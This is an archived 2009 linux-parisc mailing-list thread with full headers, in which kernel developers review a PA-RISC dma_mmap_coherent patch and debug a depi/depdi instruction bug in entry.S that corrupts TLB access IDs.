Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754007AbZGJPLe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 11:11:34 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50242 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752605AbZGJPLd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 11:11:33 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 59FE98EE123;
	Fri, 10 Jul 2009 08:11:33 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id a3e4ZLsnKV0e; Fri, 10 Jul 2009 08:11:33 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 22D998EE104;
	Fri, 10 Jul 2009 08:11:32 -0700 (PDT)
In-Reply-To: <s5hljmwn0iw.wl%tiwai@suse.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1906 gmane.linux.kernel.cross-arch:4053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1906>

On Fri, 2009-07-10 at 15:13 +0200, Takashi Iwai wrote:
> A lazy version of dma_mmap_coherent() implementation for PA-RISC.
> 
> Signed-off-by: Takashi Iwai <tiwai@suse.de>
> ---
>  arch/parisc/include/asm/dma-mapping.h |   13 +++++++++++++
>  arch/parisc/kernel/pci-dma.c          |   16 ++++++++++++++++
>  drivers/parisc/ccio-dma.c             |    1 +
>  drivers/parisc/iommu-helpers.h        |   16 ++++++++++++++++
>  drivers/parisc/sba_iommu.c            |    1 +
>  5 files changed, 47 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index da69433..b5f810e 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -19,6 +19,9 @@ struct hppa_dma_ops {
>  	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
> +	int (*mmap_coherent)(struct device *dev, struct vm_area_struct *vma,
> +			     void *cpu_addr, dma_addr_t handle, size_t size);
> +
>  };
>  
>  /*
> @@ -204,6 +207,16 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
>  		flush_kernel_dcache_range((unsigned long)vaddr, size);
>  }
>  
> +#define ARCH_HAS_DMA_MMAP_COHERENT
> +static inline int
> +dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
> +		  void *cpu_addr, dma_addr_t handle, size_t size)
> +{
> +	if (!hppa_dma_ops->mmap_coherent)
> +		return -ENXIO;
> +	return hppa_dma_ops->mmap_coherent(dev, vma, cpu_addr, handle, size);
> +}
> +
>  static inline void *
>  parisc_walk_tree(struct device *dev)
>  {
> diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
> index c07f618..e8c68e3 100644
> --- a/arch/parisc/kernel/pci-dma.c
> +++ b/arch/parisc/kernel/pci-dma.c
> @@ -539,6 +539,20 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
>  		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
>  }
>  
> +static int pa11_dma_mmap_coherent(struct device *dev,
> +				  struct vm_area_struct *vma,
> +				  void *cpu_addr, dma_addr_t handle,
> +				  size_t size)
> +{
> +	struct page *pg;
> +	pgprot_val(vma->vm_page_prot) |= _PAGE_NO_CACHE;
> +	cpu_addr = __va(handle);
> +	pg = virt_to_page(cpu_addr);
> +	return remap_pfn_range(vma, vma->vm_start,
> +			       page_to_pfn(pg) + vma->vm_pgoff,
> +			       size, vma->vm_page_prot);
> +}
> +
>  struct hppa_dma_ops pcxl_dma_ops = {
>  	.dma_supported =	pa11_dma_supported,
>  	.alloc_consistent =	pa11_dma_alloc_consistent,
> @@ -552,6 +566,7 @@ struct hppa_dma_ops pcxl_dma_ops = {
>  	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
>  	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
>  	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
> +	.mmap_coherent =	pa11_dma_mmap_coherent,
>  };
>  
>  static void *fail_alloc_consistent(struct device *dev, size_t size,
> @@ -592,4 +607,5 @@ struct hppa_dma_ops pcx_dma_ops = {
>  	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
>  	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
>  	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
> +	.mmap_coherent =	pa11_dma_mmap_coherent,
>  };
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 0f0e0b9..0dd67ae 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -1016,6 +1016,7 @@ static struct hppa_dma_ops ccio_ops = {
>  	.dma_sync_single_for_device =	NULL,	/* NOP for U2/Uturn */
>  	.dma_sync_sg_for_cpu =		NULL,	/* ditto */
>  	.dma_sync_sg_for_device =		NULL,	/* ditto */
> +	.mmap_coherent =	iommu_dma_mmap_coherent,
>  };
>  
>  #ifdef CONFIG_PROC_FS
> diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
> index a9c46cc..9f86f3f 100644
> --- a/drivers/parisc/iommu-helpers.h
> +++ b/drivers/parisc/iommu-helpers.h
> @@ -174,3 +174,19 @@ iommu_coalesce_chunks(struct ioc *ioc, struct device *dev,
>  	return n_mappings;
>  }
>  
> +/* dma_mmap_coherent callback function */
> +/* Note that this is no inline function -- this function is eventually
> + * included in ccio_ops in both ccio-dma.c and sba_iommu.c
> + */
> +static int iommu_dma_mmap_coherent(struct device *dev,
> +				   struct vm_area_struct *vma,
> +				   void *cpu_addr, dma_addr_t handle,
> +				   size_t size)
> +{
> +	struct page *pg;
> +	pgprot_val(vma->vm_page_prot) |= _PAGE_NO_CACHE;
> +	pg = virt_to_page(cpu_addr);
> +	return remap_pfn_range(vma, vma->vm_start,
> +			       page_to_pfn(pg) + vma->vm_pgoff,
> +			       size, vma->vm_page_prot);
> +}
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 123d8fe..8ccb3e4 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -1070,6 +1070,7 @@ static struct hppa_dma_ops sba_ops = {
>  	.dma_sync_single_for_device =	NULL,
>  	.dma_sync_sg_for_cpu =		NULL,
>  	.dma_sync_sg_for_device =	NULL,
> +	.mmap_coherent =	iommu_dma_mmap_coherent,
>  };

This isn't the right thing to do on parisc.  The only case that will
actually work is the small subset of pa11 systems where the only way we
can manufacture coherent memory is to turn the cache off.  One more
thing: even on pa11 you have to flush the cache lines before you make a
page uncached otherwise you can get coherency problems.

For pa20 systems, we have a cache flushing system on bus writes.  What
your patch does is turn off caching over the user page only.  This would
leave us with a cache over the kernel page, so any write the kernel
makes would need flushing before it's visible to the user, which isn't
how the kernel operates with coherent memory.

The only way to fix the above is either to make the user virtual address
congruent with the kernel one (VI congruence in parisc is steps of 4MB)
so they share the same cache (in which case they don't need the uncached
bit).  Or to make the coherent memory uncached when it's first
allocated ... this is a performance hit.

The design of coherent memory was for memory based device mailboxes
managed by the kernel ... trying to give userspace coherent access to
the same mailbox is problematic because it gives a direct way for the
process to interfere with a device function ... shouldn't whatever
you're trying to do be better accomplished by using an API to control
the device and keeping the coherent mailbox fully in the kernel address
space?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 09:36:20 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20090710153620.GB28778@lackof.org>
References: <20090709225511.GE10979@lackof.org> <20090710001506.A2C43507E@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247240211 32225 80.91.229.12 (10 Jul 2009 15:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 15:36:51 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 17:36:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPI9S-0001d6-Hv
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 17:36:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750981AbZGJPgW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 11:36:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752214AbZGJPgW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 11:36:22 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:37020 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750981AbZGJPgV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 11:36:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4017033E0060;
	Fri, 10 Jul 2009 09:36:21 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8NhcRa229xYJ; Fri, 10 Jul 2009 09:36:20 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id D33BF33E018D; Fri, 10 Jul 2009 09:36:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090710001506.A2C43507E@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1907>

On Thu, Jul 09, 2009 at 08:15:04PM -0400, John David Anglin wrote:
...
> > > The DEPI instruction on a 64-bit machine sets bit 44=32+12,
> > > whereas we use the value as the argument to IDTLBT, which expects bit 12  
> > > to be used instead.
> > >
> > > Does it mean that the U-bit is never set and the  
> > > authorization id gets corrupted???
> > 
> > U-bit will get set only if _PAGE_NO_CACHE_BIT+32 is also set.
...
> To me, it looks like the instruction should be a depdi.  See the preceding
> deposit of PAGE_USER.  According to the IDTLBT description, the U bit is
> bit 12 in r2, not bit 44.

Yes - I see it now too. Excellent catch.

But I'm still wondering what the effect of this bug will be.
The first order (not setting U-bit) should only affect ZX1 (pa8800/pa8900)
machines. Those have uncacheable IO space between 2GB-4GB physical address.
My guess is the machines should HPMC since the CPU would attempt to access
those ranges as a cacheline read/write instead of sub-cacheline transactions.

It's not clear from the arch manual what happens if bit 44 is set in R2.
I didn't look far enough to see where the auth ID gets corrupted.

thanks,
grant

> 
> rp3440 boots with the depdi change.  Building gcc...
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 15:52:51 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <1247241171.3936.18.camel@mulgrave.site>
References: <20090710001506.A2C43507E@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247241264 3150 80.91.229.12 (10 Jul 2009 15:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 15:54:24 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 17:54:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPIPD-00018Q-7E
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 17:52:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750981AbZGJPw5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 11:52:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752858AbZGJPw5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 11:52:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56217 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750981AbZGJPw5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 11:52:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DDF0E8EE123;
	Fri, 10 Jul 2009 08:52:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HXXk5IN5tTMM; Fri, 10 Jul 2009 08:52:56 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 76A008EE104;
	Fri, 10 Jul 2009 08:52:55 -0700 (PDT)
In-Reply-To: <20090710001506.A2C43507E@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1908>

On Thu, 2009-07-09 at 20:15 -0400, John David Anglin wrote:
> > On Thu, Jul 09, 2009 at 03:11:19PM +0200, Artem Alimarine wrote:
> > > Hi guys,
> > >
> > > I am new to PARISC and to this forum. I have a small question. There is  
> > > an instruction in entry.S that I do not understand. It is in the the  
> > > macro make_insert_tlb
> > >
> > > Kernel 2.6.26.2:
> > >
> > > 537        /* Enforce uncacheable pages.
> > > 538         * This should ONLY be use for MMIO on PA 2.0 machines.
> > > 539         * Memory/DMA is cache coherent on all PA2.0 machines we support
> > > 540         * (that means T-class is NOT supported) and the memory controllers
> > > 541         * on most of those machines only handles cache transactions.
> > > 542         */
> > > 543        extrd,u,*=      \pte,_PAGE_NO_CACHE_BIT+32,1,%r0
> > > 544        depi            1,12,1,\prot
> > >
> > >
> > 
> > The "*=" in line 543 will determine if "depi" instruction (line 544)
> > gets executed or not. You'll need the "PA-RISC 2.0 Architecture":
> >     http://www.parisc-linux.org/documentation/index.html
> >     http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf
> > 
> > And read page 7-47, 7-48, and Table D-14.
> > 
> > 
> > > The DEPI instruction on a 64-bit machine sets bit 44=32+12,
> > > whereas we use the value as the argument to IDTLBT, which expects bit 12  
> > > to be used instead.
> > >
> > > Does it mean that the U-bit is never set and the  
> > > authorization id gets corrupted???
> > 
> > U-bit will get set only if _PAGE_NO_CACHE_BIT+32 is also set.
> > 
> > The bit enumeration is *reverse* with MSb being 0 for all ASM instructions
> > and all references in the PA2.0 Arch manual.
> > 
> > Because this is a 64 bit build, "+32" is needed to refer to the lower half
> > of the double word (word == 32 bits).
> > 
> > > Is it a bug or my misunderstanding of the code???
> > 
> > It looks correct to me. "12" here always seems to refer to the U-bit as
> > defined in the PA2.0 Arch manual.
> 
> To me, it looks like the instruction should be a depdi.  See the preceding
> deposit of PAGE_USER.  According to the IDTLBT description, the U bit is
> bit 12 in r2, not bit 44.
> 
> rp3440 boots with the depdi change.  Building gcc...

Yes, looks like we've got a set of cockups in this file.  Apparently gas
is evaluating depi as the macro DEPI, which seems to be correct for
every other case in the file I've looked at except this one.

I suppose the whole file needs fixing ... preferably with a macro whose
name isn't an instruction mnemonic.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 11:55:58 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca>
References: <20090710153620.GB28778@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247241414 3630 80.91.229.12 (10 Jul 2009 15:56:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 15:56:54 +0000 (UTC)
Cc: grundler@parisc-linux.org, artem.alimarine@stromasys.com,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 17:56:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPISC-0003eJ-2t
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 17:56:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750992AbZGJP4C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 11:56:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753322AbZGJP4C
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 11:56:02 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4454 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750992AbZGJP4B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 11:56:01 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CFAA44FC4; Fri, 10 Jul 2009 11:55:59 -0400 (EDT)
In-Reply-To: <20090710153620.GB28778@lackof.org> from "Grant Grundler" at Jul 10, 2009 09:36:20 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1909>

> But I'm still wondering what the effect of this bug will be.
> The first order (not setting U-bit) should only affect ZX1 (pa8800/pa8900)
> machines. Those have uncacheable IO space between 2GB-4GB physical address.
> My guess is the machines should HPMC since the CPU would attempt to access
> those ranges as a cacheline read/write instead of sub-cacheline transactions.

I think the depdi change may fix the random memory corruption that
I have been complaining about.  My rp3440 has got through a full build
of GCC with 2.6.30.1.  Previous two attempts failed with segmentation
faults in the dynamic loader, one of which I reported on.  It will
take a few more builds to be sure.  Your comment would explain why I
don't see this on c3750.  Could this affect PA8700?

I installed the change on my rp3440, c3750 and gsyprf11 last night.
At some point, I need to test the change with an SMP build on the rp3440.

There is one other issue that I see on the rp3440 which I don't see
on the c3750 or gsyprf11.  I get occassional testsuite timeouts during
compilation on compilations that shouldn't timeout.  I had always
thought this to be a tcl/expect issue, but now I think this is likely
a kernel issue.  I need to change the timeout value in the testsuite
to something big so I can see what's happening.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 18:11:35 +0200
Organization: Stromasys SA
Lines: 60
Approved: news@gmane.org
Message-ID: <4A576837.70501@stromasys.com>
References: <20090709225511.GE10979@lackof.org> <20090710001506.A2C43507E@hiauly1.hia.nrc.ca> <20090710153620.GB28778@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020400020105080003020104"
X-Trace: ger.gmane.org 1247242319 6782 80.91.229.12 (10 Jul 2009 16:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 16:11:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 18:11:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPIhQ-0003Gv-UQ
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 18:11:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752214AbZGJQLr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 12:11:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753061AbZGJQLr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 12:11:47 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:40753 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751649AbZGJQLr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 12:11:47 -0400
Original-Received: by ewy26 with SMTP id 26so1196116ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 10 Jul 2009 09:11:44 -0700 (PDT)
Original-Received: by 10.210.69.13 with SMTP id r13mr1406038eba.66.1247242304401;
        Fri, 10 Jul 2009 09:11:44 -0700 (PDT)
Original-Received: from ?192.168.1.24? (ip226-43-209-87.adsl2.static.versatel.nl [87.209.43.226])
        by mx.google.com with ESMTPS id 10sm2991020eyd.28.2009.07.10.09.11.42
        (version=SSLv3 cipher=RC4-MD5);
        Fri, 10 Jul 2009 09:11:43 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090710153620.GB28778@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1910
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1910>

This is a multi-part message in MIME format.
--------------020400020105080003020104
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi Grant,

Bit 44 falls into the access_id area. So, access id get corrupted. As 
far as I understand we should get interrupt 18 (access check trap) on 
such TLB  entries. However we do not. The bug can go unnoticed when the 
access id is smaller than 31 bits. The PA2.0 manual says in the IDTLBT 
description: If smaller than 31-bit access IDs are implemented, only the 
appropriate number of the
rightmost bits of GR[r]{32..62} are stored in the TLB. Obviously, bit 44 
is not among the stored bits.

Actually, I have no idea on how many bits are used by the hardware. 
Myself I have rp2470.

Best regards,
Artem

> But I'm still wondering what the effect of this bug will be.
> The first order (not setting U-bit) should only affect ZX1 (pa8800/pa8900)
> machines. Those have uncacheable IO space between 2GB-4GB physical address.
> My guess is the machines should HPMC since the CPU would attempt to access
> those ranges as a cacheline read/write instead of sub-cacheline transactions.
>
> It's not clear from the arch manual what happens if bit 44 is set in R2.
> I didn't look far enough to see where the auth ID gets corrupted.
>
>   

--------------020400020105080003020104
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------020400020105080003020104--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 11:18:21 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1247242701.3936.28.camel@mulgrave.site>
References: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247242717 8181 80.91.229.12 (10 Jul 2009 16:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 16:18:37 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 18:18:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPIns-0006LL-Hq
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 18:18:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750981AbZGJQS1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 12:18:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751376AbZGJQS1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 12:18:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39110 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
